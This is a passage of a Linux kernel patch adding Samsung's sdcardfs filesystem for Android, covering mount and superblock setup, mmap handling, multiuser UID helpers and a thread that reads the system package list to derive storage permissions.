out_freesbi; + } + + if (sb_info->options.derive != DERIVE_NONE) { + pkgl_id = packagelist_create(sb_info->options.write_gid); + if(IS_ERR(pkgl_id)) + goto out_freesbi; + else + sb_info->pkgl_id = pkgl_id; + } + + /* set the lower superblock field of upper superblock */ + lower_sb = lower_path.dentry->d_sb; + atomic_inc(&lower_sb->s_active); + sdcardfs_set_lower_super(sb, lower_sb); + + /* inherit maxbytes from lower file system */ + sb->s_maxbytes = lower_sb->s_maxbytes; + + /* + * Our c/m/atime granularity is 1 ns because we may stack on file + * systems whose granularity is as good. + */ + sb->s_time_gran = 1; + + sb->s_magic = SDCARDFS_SUPER_MAGIC; + sb->s_op = &sdcardfs_sops; + + /* see comment next to the definition of sdcardfs_d_alloc_root */ + sb->s_root = sdcardfs_d_alloc_root(sb); + if (!sb->s_root) { + err = -ENOMEM; + goto out_sput; + } + + /* link the upper and lower dentries */ + sb->s_root->d_fsdata = NULL; + err = new_dentry_private_data(sb->s_root); + if (err) + goto out_freeroot; + + /* set the lower dentries for s_root */ + sdcardfs_set_lower_path(sb->s_root, &lower_path); + + /* call interpose to create the upper level inode */ + err = sdcardfs_interpose(sb->s_root, sb, &lower_path); + if (!err) { + /* setup permission policy */ + switch(sb_info->options.derive) { + case DERIVE_NONE: + setup_derived_state(sb->s_root->d_inode, + PERM_ROOT, 0, AID_ROOT, AID_SDCARD_RW, 00775); + sb_info->obbpath_s = NULL; + break; + case DERIVE_LEGACY: + /* Legacy behavior used to support internal multiuser layout which + * places user_id at the top directory level, with the actual roots + * just below that. Shared OBB path is also at top level. */ + setup_derived_state(sb->s_root->d_inode, + PERM_LEGACY_PRE_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); + /* initialize the obbpath string and lookup the path + * sb_info->obb_path will be deactivated by path_put + * on sdcardfs_put_super */ + sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); + err = prepare_dir(sb_info->obbpath_s, + sb_info->options.fs_low_uid, + sb_info->options.fs_low_gid, 00755); + if(err) + printk(KERN_ERR "sdcardfs: %s: %d, error on creating %s\n", + __func__,__LINE__, sb_info->obbpath_s); + break; + case DERIVE_UNIFIED: + /* Unified multiuser layout which places secondary user_id under + * /Android/user and shared OBB path under /Android/obb. */ + setup_derived_state(sb->s_root->d_inode, + PERM_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); + + sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); + break; + } + fix_derived_permission(sb->s_root->d_inode); + + if (!silent) + printk(KERN_INFO "sdcardfs: mounted on top of %s type %s\n", + dev_name, lower_sb->s_type->name); + goto out; + } + /* else error: fall through */ + + free_dentry_private_data(sb->s_root); +out_freeroot: + dput(sb->s_root); +out_sput: + /* drop refs we took earlier */ + atomic_dec(&lower_sb->s_active); + packagelist_destroy(sb_info->pkgl_id); +out_freesbi: + kfree(SDCARDFS_SB(sb)); + sb->s_fs_info = NULL; +out_free: + path_put(&lower_path); + +out: + return err; +} + +/* A feature which supports mount_nodev() with options */ +static struct dentry *mount_nodev_with_options(struct file_system_type *fs_type, + int flags, const char *dev_name, void *data, + int (*fill_super)(struct super_block *, const char *, void *, int)) + +{ + int error; + struct super_block *s = sget(fs_type, NULL, set_anon_super, NULL); + + if (IS_ERR(s)) + return ERR_CAST(s); + + s->s_flags = flags; + + error = fill_super(s, dev_name, data, flags & MS_SILENT ? 1 : 0); + if (error) { + deactivate_locked_super(s); + return ERR_PTR(error); + } + s->s_flags |= MS_ACTIVE; + return dget(s->s_root); +} + +struct dentry *sdcardfs_mount(struct file_system_type *fs_type, int flags, + const char *dev_name, void *raw_data) +{ + /* + * dev_name is a lower_path_name, + * raw_data is a option string. + */ + return mount_nodev_with_options(fs_type, flags, dev_name, + raw_data, sdcardfs_read_super); +} + +static struct file_system_type sdcardfs_fs_type = { + .owner = THIS_MODULE, + .name = SDCARDFS_NAME, + .mount = sdcardfs_mount, + .kill_sb = generic_shutdown_super, + .fs_flags = FS_REVAL_DOT, +}; + +static int __init init_sdcardfs_fs(void) +{ + int err; + + pr_info("Registering sdcardfs " SDCARDFS_VERSION "\n"); + + err = sdcardfs_init_inode_cache(); + if (err) + goto out; + err = sdcardfs_init_dentry_cache(); + if (err) + goto out; + err = packagelist_init(); + if (err) + goto out; + err = register_filesystem(&sdcardfs_fs_type); +out: + if (err) { + sdcardfs_destroy_inode_cache(); + sdcardfs_destroy_dentry_cache(); + packagelist_exit(); + } + return err; +} + +static void __exit exit_sdcardfs_fs(void) +{ + sdcardfs_destroy_inode_cache(); + sdcardfs_destroy_dentry_cache(); + packagelist_exit(); + unregister_filesystem(&sdcardfs_fs_type); + pr_info("Completed sdcardfs module unload\n"); +} + +MODULE_AUTHOR("Erez Zadok, Filesystems and Storage Lab, Stony Brook University" + " (http://www.fsl.cs.sunysb.edu/)"); +MODULE_DESCRIPTION("Wrapfs " SDCARDFS_VERSION + " (http://wrapfs.filesystems.org/)"); +MODULE_LICENSE("GPL"); + +module_init(init_sdcardfs_fs); +module_exit(exit_sdcardfs_fs); diff --git a/fs/sdcardfs/mmap.c b/fs/sdcardfs/mmap.c new file mode 100755 index 0000000000000..c807d7f18f8ba --- /dev/null +++ b/fs/sdcardfs/mmap.c @@ -0,0 +1,82 @@ +/* + * fs/sdcardfs/mmap.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" + +static int sdcardfs_fault(struct vm_area_struct *vma, struct vm_fault *vmf) +{ + int err; + struct file *file, *lower_file; + const struct vm_operations_struct *lower_vm_ops; + struct vm_area_struct lower_vma; + + memcpy(&lower_vma, vma, sizeof(struct vm_area_struct)); + file = lower_vma.vm_file; + lower_vm_ops = SDCARDFS_F(file)->lower_vm_ops; + BUG_ON(!lower_vm_ops); + + lower_file = sdcardfs_lower_file(file); + /* + * XXX: vm_ops->fault may be called in parallel. Because we have to + * resort to temporarily changing the vma->vm_file to point to the + * lower file, a concurrent invocation of sdcardfs_fault could see a + * different value. In this workaround, we keep a different copy of + * the vma structure in our stack, so we never expose a different + * value of the vma->vm_file called to us, even temporarily. A + * better fix would be to change the calling semantics of ->fault to + * take an explicit file pointer. + */ + lower_vma.vm_file = lower_file; + err = lower_vm_ops->fault(&lower_vma, vmf); + return err; +} + +static ssize_t sdcardfs_direct_IO(int rw, struct kiocb *iocb, + const struct iovec *iov, loff_t offset, + unsigned long nr_segs) +{ + /* + * This function returns zero on purpose in order to support direct IO. + * __dentry_open checks a_ops->direct_IO and returns EINVAL if it is null. + * + * However, this function won't be called by certain file operations + * including generic fs functions. * reads and writes are delivered to + * the lower file systems and the direct IOs will be handled by them. + * + * NOTE: exceptionally, on the recent kernels (since Linux 3.8.x), + * swap_writepage invokes this function directly. + */ + printk(KERN_INFO "%s, operation is not supported\n", __func__); + return 0; +} + +/* + * XXX: the default address_space_ops for sdcardfs is empty. We cannot set + * our inode->i_mapping->a_ops to NULL because too many code paths expect + * the a_ops vector to be non-NULL. + */ +const struct address_space_operations sdcardfs_aops = { + /* empty on purpose */ + .direct_IO = sdcardfs_direct_IO, +}; + +const struct vm_operations_struct sdcardfs_vm_ops = { + .fault = sdcardfs_fault, +}; diff --git a/fs/sdcardfs/multiuser.h b/fs/sdcardfs/multiuser.h new file mode 100755 index 0000000000000..923ba101dfa9f --- /dev/null +++ b/fs/sdcardfs/multiuser.h @@ -0,0 +1,37 @@ +/* + * fs/sdcardfs/multiuser.h + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#define MULTIUSER_APP_PER_USER_RANGE 100000 + +typedef uid_t userid_t; +typedef uid_t appid_t; + +static inline userid_t multiuser_get_user_id(uid_t uid) { + return uid / MULTIUSER_APP_PER_USER_RANGE; +} + +static inline appid_t multiuser_get_app_id(uid_t uid) { + return uid % MULTIUSER_APP_PER_USER_RANGE; +} + +static inline uid_t multiuser_get_uid(userid_t userId, appid_t appId) { + return userId * MULTIUSER_APP_PER_USER_RANGE + (appId % MULTIUSER_APP_PER_USER_RANGE); +} + diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c new file mode 100755 index 0000000000000..c786d8f92203d --- /dev/null +++ b/fs/sdcardfs/packagelist.c @@ -0,0 +1,458 @@ +/* + * fs/sdcardfs/packagelist.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" +#include "strtok.h" +#include "hashtable.h" +#include +#include +#include +#include + +#define STRING_BUF_SIZE (512) + +struct hashtable_entry { + struct hlist_node hlist; + void *key; + int value; +}; + +struct packagelist_data { + DECLARE_HASHTABLE(package_to_appid,8); + DECLARE_HASHTABLE(appid_with_rw,7); + struct mutex hashtable_lock; + struct task_struct *thread_id; + gid_t write_gid; + char *strtok_last; + char read_buf[STRING_BUF_SIZE]; + char event_buf[STRING_BUF_SIZE]; + char app_name_buf[STRING_BUF_SIZE]; + char gids_buf[STRING_BUF_SIZE]; +}; + +static struct kmem_cache *hashtable_entry_cachep; + +/* Path to system-provided mapping of package name to appIds */ +static const char* const kpackageslist_file = "/data/system/packages.list"; +/* Supplementary groups to execute with */ +static const gid_t kgroups[1] = { AID_PACKAGE_INFO }; + +static unsigned int str_hash(void *key) { + int i; + unsigned int h = strlen(key); + char *data = (char *)key; + + for (i = 0; i < strlen(key); i++) { + h = h * 31 + *data; + data++; + } + return h; +} + +static int contain_appid_key(struct packagelist_data *pkgl_dat, void *appid) { + struct hashtable_entry *hash_cur; + struct hlist_node *h_n; + + hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, (unsigned int)appid, h_n) + if (appid == hash_cur->key) + return 1; + return 0; +} + +/* Return if the calling UID holds sdcard_rw. */ +int get_caller_has_rw_locked(void *pkgl_id, derive_t derive) { + struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; + appid_t appid; + int ret; + + /* No additional permissions enforcement */ + if (derive == DERIVE_NONE) { + return 1; + } + + appid = multiuser_get_app_id(current_fsuid()); + mutex_lock(&pkgl_dat->hashtable_lock); + ret = contain_appid_key(pkgl_dat, (void *)appid); + mutex_unlock(&pkgl_dat->hashtable_lock); + return ret; +} + +appid_t get_appid(void *pkgl_id, const char *app_name) +{ + struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; + struct hashtable_entry *hash_cur; + struct hlist_node *h_n; + unsigned int hash = str_hash((void *)app_name); + appid_t ret_id; + + //printk(KERN_INFO "sdcardfs: %s: %s, %u\n", __func__, (char *)app_name, hash); + mutex_lock(&pkgl_dat->hashtable_lock); + hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash, h_n) { + //printk(KERN_INFO "sdcardfs: %s: %s\n", __func__, (char *)hash_cur->key); + if (!strcasecmp(app_name, hash_cur->key)) { + ret_id = (appid_t)hash_cur->value; + mutex_unlock(&pkgl_dat->hashtable_lock); + //printk(KERN_INFO "=> app_id: %d\n", (int)ret_id); + return ret_id; + } + } + mutex_unlock(&pkgl_dat->hashtable_lock); + //printk(KERN_INFO "=> app_id: %d\n", 0); + return 0; +} + +/* Kernel has already enforced everything we returned through + * derive_permissions_locked(), so this is used to lock down access + * even further, such as enforcing that apps hold sdcard_rw. */ +int check_caller_access_to_name(struct inode *parent_node, const char* name, + derive_t derive, int w_ok, int has_rw) { + + /* Always block security-sensitive files at root */ + if (parent_node && SDCARDFS_I(parent_node)->perm == PERM_ROOT) { + if (!strcasecmp(name, "autorun.inf") + || !strcasecmp(name, ".android_secure") + || !strcasecmp(name, "android_secure")) { + return 0; + } + } + + /* No additional permissions enforcement */ + if (derive == DERIVE_NONE) { + return 1; + } + + /* Root always has access; access for any other UIDs should always + * be controlled through packages.list. */ + if (current_fsuid() == 0) { + return 1; + } + + /* If asking to write, verify that caller either owns the + * parent or holds sdcard_rw. */ + if (w_ok) { + if (parent_node && + (current_fsuid() == SDCARDFS_I(parent_node)->d_uid)) { + return 1; + } + return has_rw; + } + + /* No extra permissions to enforce */ + return 1; +} + +/* This function is used when file opening. The open flags must be + * checked before calling check_caller_access_to_name() */ +int open_flags_to_access_mode(int open_flags) { + if((open_flags & O_ACCMODE) == O_RDONLY) { + return 0; /* R_OK */ + } else if ((open_flags & O_ACCMODE) == O_WRONLY) { + return 1; /* W_OK */ + } else { + /* Probably O_RDRW, but treat as default to be safe */ + return 1; /* R_OK | W_OK */ + } +} + +static int insert_str_to_int(struct packagelist_data *pkgl_dat, void *key, int value) { + struct hashtable_entry *hash_cur; + struct hashtable_entry *new_entry; + struct hlist_node *h_n; + unsigned int hash = str_hash(key); + + //printk(KERN_INFO "sdcardfs: %s: %s: %d, %u\n", __func__, (char *)key, value, hash); + hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash, h_n) { + if (!strcasecmp(key, hash_cur->key)) { + hash_cur->value = value; + return 0; + } + } + new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_KERNEL); + if (!new_entry) + return -ENOMEM; + new_entry->key = kstrdup(key, GFP_KERNEL); + new_entry->value = value; + hash_add(pkgl_dat->package_to_appid, &new_entry->hlist, hash); + return 0; +} + +static void remove_str_to_int(struct hashtable_entry *h_entry) { + //printk(KERN_INFO "sdcardfs: %s: %s: %d\n", __func__, (char *)h_entry->key, h_entry->value); + kfree(h_entry->key); + kmem_cache_free(hashtable_entry_cachep, h_entry); +} + +static int insert_int_to_null(struct packagelist_data *pkgl_dat, void *key, int value) { + struct hashtable_entry *hash_cur; + struct hashtable_entry *new_entry; + struct hlist_node *h_n; + + //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)key, value); + hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, + (unsigned int)key, h_n) { + if (key == hash_cur->key) { + hash_cur->value = value; + return 0; + } + } + new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_KERNEL); + if (!new_entry) + return -ENOMEM; + new_entry->key = key; + new_entry->value = value; + hash_add(pkgl_dat->appid_with_rw, &new_entry->hlist, + (unsigned int)new_entry->key); + return 0; +} + +static void remove_int_to_null(struct hashtable_entry *h_entry) { + //printk(KERN_INFO "sdcardfs: %s: %d: %d\n", __func__, (int)h_entry->key, h_entry->value); + kmem_cache_free(hashtable_entry_cachep, h_entry); +} + +static void remove_all_hashentrys(struct packagelist_data *pkgl_dat) +{ + struct hashtable_entry *hash_cur; + struct hlist_node *h_n; + struct hlist_node *h_t; + int i; + + hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist, h_n) + remove_str_to_int(hash_cur); + hash_for_each_safe(pkgl_dat->appid_with_rw, i, h_t, hash_cur, hlist, h_n) + remove_int_to_null(hash_cur); + + hash_init(pkgl_dat->package_to_appid); + hash_init(pkgl_dat->appid_with_rw); +} + +static int read_package_list(struct packagelist_data *pkgl_dat) { + int ret; + int fd; + int read_amount; + + printk(KERN_INFO "sdcardfs: read_package_list\n"); + + mutex_lock(&pkgl_dat->hashtable_lock); + + remove_all_hashentrys(pkgl_dat); + + fd = sys_open(kpackageslist_file, O_RDONLY, 0); + if (fd < 0) { + printk(KERN_ERR "sdcardfs: failed to open package list\n"); + mutex_unlock(&pkgl_dat->hashtable_lock); + return fd; + } + + while ((read_amount = sys_read(fd, pkgl_dat->read_buf, + sizeof(pkgl_dat->read_buf))) > 0) { + int appid; + char *token; + int one_line_len = 0; + int additional_read; + unsigned long ret_gid; + + while (one_line_len < read_amount) { + if (pkgl_dat->read_buf[one_line_len] == '\n') { + one_line_len++; + break; + } + one_line_len++; + } + additional_read = read_amount - one_line_len; + if (additional_read > 0) + sys_lseek(fd, -additional_read, SEEK_CUR); + + if (sscanf(pkgl_dat->read_buf, "%s %d %*d %*s %*s %s", + pkgl_dat->app_name_buf, &appid, + pkgl_dat->gids_buf) == 3) { + ret = insert_str_to_int(pkgl_dat, pkgl_dat->app_name_buf, appid); + if (ret) { + sys_close(fd); + mutex_unlock(&pkgl_dat->hashtable_lock); + return ret; + } + + token = strtok_r(pkgl_dat->gids_buf, ",", &pkgl_dat->strtok_last); + while (token != NULL) { + if (!kstrtoul(token, 10, &ret_gid) && + (ret_gid == pkgl_dat->write_gid)) { + ret = insert_int_to_null(pkgl_dat, (void *)appid, 1); + if (ret) { + sys_close(fd); + mutex_unlock(&pkgl_dat->hashtable_lock); + return ret; + } + break; + } + token = strtok_r(NULL, ",", &pkgl_dat->strtok_last); + } + } + } + + sys_close(fd); + mutex_unlock(&pkgl_dat->hashtable_lock); + return 0; +} + +static int packagelist_reader(void *thread_data) +{ + struct packagelist_data *pkgl_dat = (struct packagelist_data *)thread_data; + struct inotify_event *event; + bool active = false; + int event_pos; + int event_size; + int res = 0; + int nfd; + + allow_signal(SIGINT); + + nfd = sys_inotify_init(); + if (nfd < 0) { + printk(KERN_ERR "sdcardfs: inotify_init failed: %d\n", nfd); + return nfd; + } + + while (!kthread_should_stop()) { + if (signal_pending(current)) { + ssleep(1); + continue; + } + + if (!active) { + res = sys_inotify_add_watch(nfd, kpackageslist_file, IN_DELETE_SELF); + if (res < 0) { + if (res == -ENOENT || res == -EACCES) { + /* Framework may not have created yet, sleep and retry */ + printk(KERN_ERR "sdcardfs: missing packages.list; retrying\n"); + ssleep(2); + printk(KERN_ERR "sdcardfs: missing packages.list_end; retrying\n"); + continue; + } else { + printk(KERN_ERR "sdcardfs: inotify_add_watch failed: %d\n", res); + goto interruptable_sleep; + } + } + /* Watch above will tell us about any future changes, so + * read the current state. */ + res = read_package_list(pkgl_dat); + if (res) { + printk(KERN_ERR "sdcardfs: read_package_list failed: %d\n", res); + goto interruptable_sleep; + } + active = true; + } + + event_pos = 0; + res = sys_read(nfd, pkgl_dat->event_buf, sizeof(pkgl_dat->event_buf)); + if (res < (int) sizeof(*event)) { + if (res == -EINTR) + continue; + printk(KERN_ERR "sdcardfs: failed to read inotify event: %d\n", res); + goto interruptable_sleep; + } + + while (res >= (int) sizeof(*event)) { + event = (struct inotify_event *) (pkgl_dat->event_buf + event_pos); + + printk(KERN_INFO "sdcardfs: inotify event: %08x\n", event->mask); + if ((event->mask & IN_IGNORED) == IN_IGNORED) { + /* Previously watched file was deleted, probably due to move + * that swapped in new data; re-arm the watch and read. */ + active = false; + } + + event_size = sizeof(*event) + event->len; + res -= event_size; + event_pos += event_size; + } + continue; + +interruptable_sleep: + set_current_state(TASK_INTERRUPTIBLE); + schedule(); + } + flush_signals(current); + sys_close(nfd); + return res; +} + +void * packagelist_create(gid_t write_gid) +{ + struct packagelist_data *pkgl_dat; + struct task_struct *packagelist_thread; + + pkgl_dat = kmalloc(sizeof(*pkgl_dat), GFP_KERNEL | __GFP_ZERO); + if (!pkgl_dat) { + printk(KERN_ERR "sdcardfs: creating kthread failed\n"); + return ERR_PTR(-ENOMEM); + } + + mutex_init(&pkgl_dat->hashtable_lock); + hash_init(pkgl_dat->package_to_appid); + hash_init(pkgl_dat->appid_with_rw); + pkgl_dat->write_gid = write_gid; + + packagelist_thread = kthread_run(packagelist_reader, (void *)pkgl_dat, "pkgld"); + if (IS_ERR(packagelist_thread)) { + printk(KERN_ERR "sdcardfs: creating kthread failed\n"); + kfree(pkgl_dat); + return packagelist_thread; + } + pkgl_dat->thread_id = packagelist_thread; + + printk(KERN_INFO "sdcardfs: created packagelist pkgld/%d\n", + (int)pkgl_dat->thread_id->pid); + + return (void *)pkgl_dat; +} + +void packagelist_destroy(void *pkgl_id) +{ + struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; + pid_t pkgl_pid = pkgl_dat->thread_id->pid; + + force_sig_info(SIGINT, SEND_SIG_PRIV, pkgl_dat->thread_id); + kthread_stop(pkgl_dat->thread_id); + remove_all_hashentrys(pkgl_dat); + printk(KERN_INFO "sdcardfs: destroyed packagelist pkgld/%d\n", (int)pkgl_pid); + kfree(pkgl_dat); +} + +int packagelist_init(void) +{ + hashtable_entry_cachep = + kmem_cache_create("packagelist_hashtable_entry", + sizeof(struct hashtable_entry), 0, 0, NULL); + if (!hashtable_entry_cachep) { + printk(KERN_ERR "sdcardfs: failed creating pkgl_hashtable entry slab cache\n"); + return -ENOMEM; + } + + return 0; +} + +void packagelist_exit(void) +{ + if (hashtable_entry_cachep) + kmem_cache_destroy(hashtable_entry_cachep); +} + + diff --git a/fs/sdcardfs/sdcardfs.h b/fs/sdcardfs/sdcardfs.h new file mode 100755 index 0000000000000..90f8b24e4a520 --- /dev/null +++ b/fs/sdcardfs/sdcardfs.h @@ -0,0 +1,493 @@ +/* + * fs/sdcardfs/sdcardfs.h + * + * The sdcardfs v2.0 + * This file system replaces the sdcard daemon on Android + * On version 2.0, some of the daemon functions have been ported + * to support the multi-user concepts of Android 4.4 + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#ifndef _SDCARDFS_H_ +#define _SDCARDFS_H_ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "multiuser.h" + +/* the file system name */ +#define SDCARDFS_NAME "sdcardfs" + +/* sdcardfs root inode number */ +#define SDCARDFS_ROOT_INO 1 + +/* useful for tracking code reachability */ +#define UDBG printk(KERN_DEFAULT "DBG:%s:%s:%d\n", __FILE__, __func__, __LINE__) + +#define SDCARDFS_DIRENT_SIZE 256 + +/* temporary static uid settings for development */ +#define AID_ROOT 0 /* uid for accessing /mnt/sdcard & extSdcard */ +#define AID_MEDIA_RW 1023 /* internal media storage write access */ + +#define AID_SDCARD_RW 1015 /* external storage write access */ +#define AID_SDCARD_R 1028 /* external storage read access */ +#define AID_SDCARD_PICS 1033 /* external storage photos access */ +#define AID_SDCARD_AV 1034 /* external storage audio/video access */ +#define AID_SDCARD_ALL 1035 /* access all users external storage */ + +#define AID_PACKAGE_INFO 1027 + +#define fix_derived_permission(x) \ + do { \ + (x)->i_uid = SDCARDFS_I(x)->d_uid; \ + (x)->i_gid = SDCARDFS_I(x)->d_gid; \ + (x)->i_mode = ((x)->i_mode & S_IFMT) | SDCARDFS_I(x)->d_mode;\ + } while (0) + +/* OVERRIDE_CRED() and REVERT_CRED() + * OVERRID_CRED() + * backup original task->cred + * and modifies task->cred->fsuid/fsgid to specified value. + * REVERT_CRED() + * restore original task->cred->fsuid/fsgid. + * These two macro should be used in pair, and OVERRIDE_CRED() should be + * placed at the beginning of a function, right after variable declaration. + */ +#define OVERRIDE_CRED(sdcardfs_sbi, saved_cred) \ + saved_cred = override_fsids(sdcardfs_sbi); \ + if (!saved_cred) { return -ENOMEM; } + +#define OVERRIDE_CRED_PTR(sdcardfs_sbi, saved_cred) \ + saved_cred = override_fsids(sdcardfs_sbi); \ + if (!saved_cred) { return ERR_PTR(-ENOMEM); } + +#define REVERT_CRED(saved_cred) revert_fsids(saved_cred) + +#define DEBUG_CRED() \ + printk("KAKJAGI: %s:%d fsuid %d fsgid %d\n", \ + __FUNCTION__, __LINE__, \ + (int)current->cred->fsuid, \ + (int)current->cred->fsgid); + +/* Android 4.4 support */ + +/* Permission mode for a specific node. Controls how file permissions + * are derived for children nodes. */ +typedef enum { + /* Nothing special; this node should just inherit from its parent. */ + PERM_INHERIT, + /* This node is one level above a normal root; used for legacy layouts + * which use the first level to represent user_id. */ + PERM_LEGACY_PRE_ROOT, + /* This node is "/" */ + PERM_ROOT, + /* This node is "/Android" */ + PERM_ANDROID, + /* This node is "/Android/data" */ + PERM_ANDROID_DATA, + /* This node is "/Android/obb" */ + PERM_ANDROID_OBB, + /* This node is "/Android/user" */ + PERM_ANDROID_USER, +} perm_t; + +/* Permissions structure to derive */ +typedef enum { + DERIVE_NONE, + DERIVE_LEGACY, + DERIVE_UNIFIED, +} derive_t; + +typedef enum { + LOWER_FS_EXT4, + LOWER_FS_FAT, +} lower_fs_t; + +struct sdcardfs_sb_info; +struct sdcardfs_mount_options; + +/* Do not directly use this function. Use OVERRIDE_CRED() instead. */ +const struct cred * override_fsids(struct sdcardfs_sb_info* sbi); +/* Do not directly use this function, use REVERT_CRED() instead. */ +void revert_fsids(const struct cred * old_cred); + +/* operations vectors defined in specific files */ +extern const struct file_operations sdcardfs_main_fops; +extern const struct file_operations sdcardfs_dir_fops; +extern const struct inode_operations sdcardfs_main_iops; +extern const struct inode_operations sdcardfs_dir_iops; +extern const struct inode_operations sdcardfs_symlink_iops; +extern const struct super_operations sdcardfs_sops; +extern const struct dentry_operations sdcardfs_ci_dops; +extern const struct address_space_operations sdcardfs_aops, sdcardfs_dummy_aops; +extern const struct vm_operations_struct sdcardfs_vm_ops; + +extern int sdcardfs_init_inode_cache(void); +extern void sdcardfs_destroy_inode_cache(void); +extern int sdcardfs_init_dentry_cache(void); +extern void sdcardfs_destroy_dentry_cache(void); +extern int new_dentry_private_data(struct dentry *dentry); +extern void free_dentry_private_data(struct dentry *dentry); +extern struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, + struct nameidata *nd); +extern int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, + struct path *lower_path); + +/* file private data */ +struct sdcardfs_file_info { + struct file *lower_file; + const struct vm_operations_struct *lower_vm_ops; +}; + +/* sdcardfs inode data in memory */ +struct sdcardfs_inode_info { + struct inode *lower_inode; + /* state derived based on current position in hierachy + * caution: d_mode does not include file types + */ + perm_t perm; + userid_t userid; + uid_t d_uid; + gid_t d_gid; + mode_t d_mode; + + struct inode vfs_inode; +}; + +/* sdcardfs dentry data in memory */ +struct sdcardfs_dentry_info { + spinlock_t lock; /* protects lower_path */ + struct path lower_path; + struct path orig_path; +}; + +struct sdcardfs_mount_options { + uid_t fs_low_uid; + gid_t fs_low_gid; + gid_t write_gid; + int split_perms; + derive_t derive; + lower_fs_t lower_fs; + unsigned int reserved_mb; +}; + +/* sdcardfs super-block data in memory */ +struct sdcardfs_sb_info { + struct super_block *lower_sb; + /* derived perm policy : some of options have been added + * to sdcardfs_mount_options (Android 4.4 support) */ + struct sdcardfs_mount_options options; + spinlock_t lock; /* protects obbpath */ + char *obbpath_s; + struct path obbpath; + void *pkgl_id; +}; + +/* + * inode to private data + * + * Since we use containers and the struct inode is _inside_ the + * sdcardfs_inode_info structure, SDCARDFS_I will always (given a non-NULL + * inode pointer), return a valid non-NULL pointer. + */ +static inline struct sdcardfs_inode_info *SDCARDFS_I(const struct inode *inode) +{ + return container_of(inode, struct sdcardfs_inode_info, vfs_inode); +} + +/* dentry to private data */ +#define SDCARDFS_D(dent) ((struct sdcardfs_dentry_info *)(dent)->d_fsdata) + +/* superblock to private data */ +#define SDCARDFS_SB(super) ((struct sdcardfs_sb_info *)(super)->s_fs_info) + +/* file to private Data */ +#define SDCARDFS_F(file) ((struct sdcardfs_file_info *)((file)->private_data)) + +/* file to lower file */ +static inline struct file *sdcardfs_lower_file(const struct file *f) +{ + return SDCARDFS_F(f)->lower_file; +} + +static inline void sdcardfs_set_lower_file(struct file *f, struct file *val) +{ + SDCARDFS_F(f)->lower_file = val; +} + +/* inode to lower inode. */ +static inline struct inode *sdcardfs_lower_inode(const struct inode *i) +{ + return SDCARDFS_I(i)->lower_inode; +} + +static inline void sdcardfs_set_lower_inode(struct inode *i, struct inode *val) +{ + SDCARDFS_I(i)->lower_inode = val; +} + +/* superblock to lower superblock */ +static inline struct super_block *sdcardfs_lower_super( + const struct super_block *sb) +{ + return SDCARDFS_SB(sb)->lower_sb; +} + +static inline void sdcardfs_set_lower_super(struct super_block *sb, + struct super_block *val) +{ + SDCARDFS_SB(sb)->lower_sb = val; +} + +/* path based (dentry/mnt) macros */ +static inline void pathcpy(struct path *dst, const struct path *src) +{ + dst->dentry = src->dentry; + dst->mnt = src->mnt; +} + +/* sdcardfs_get_pname functions calls path_get() + * therefore, the caller must call "proper" path_put functions + */ +#define 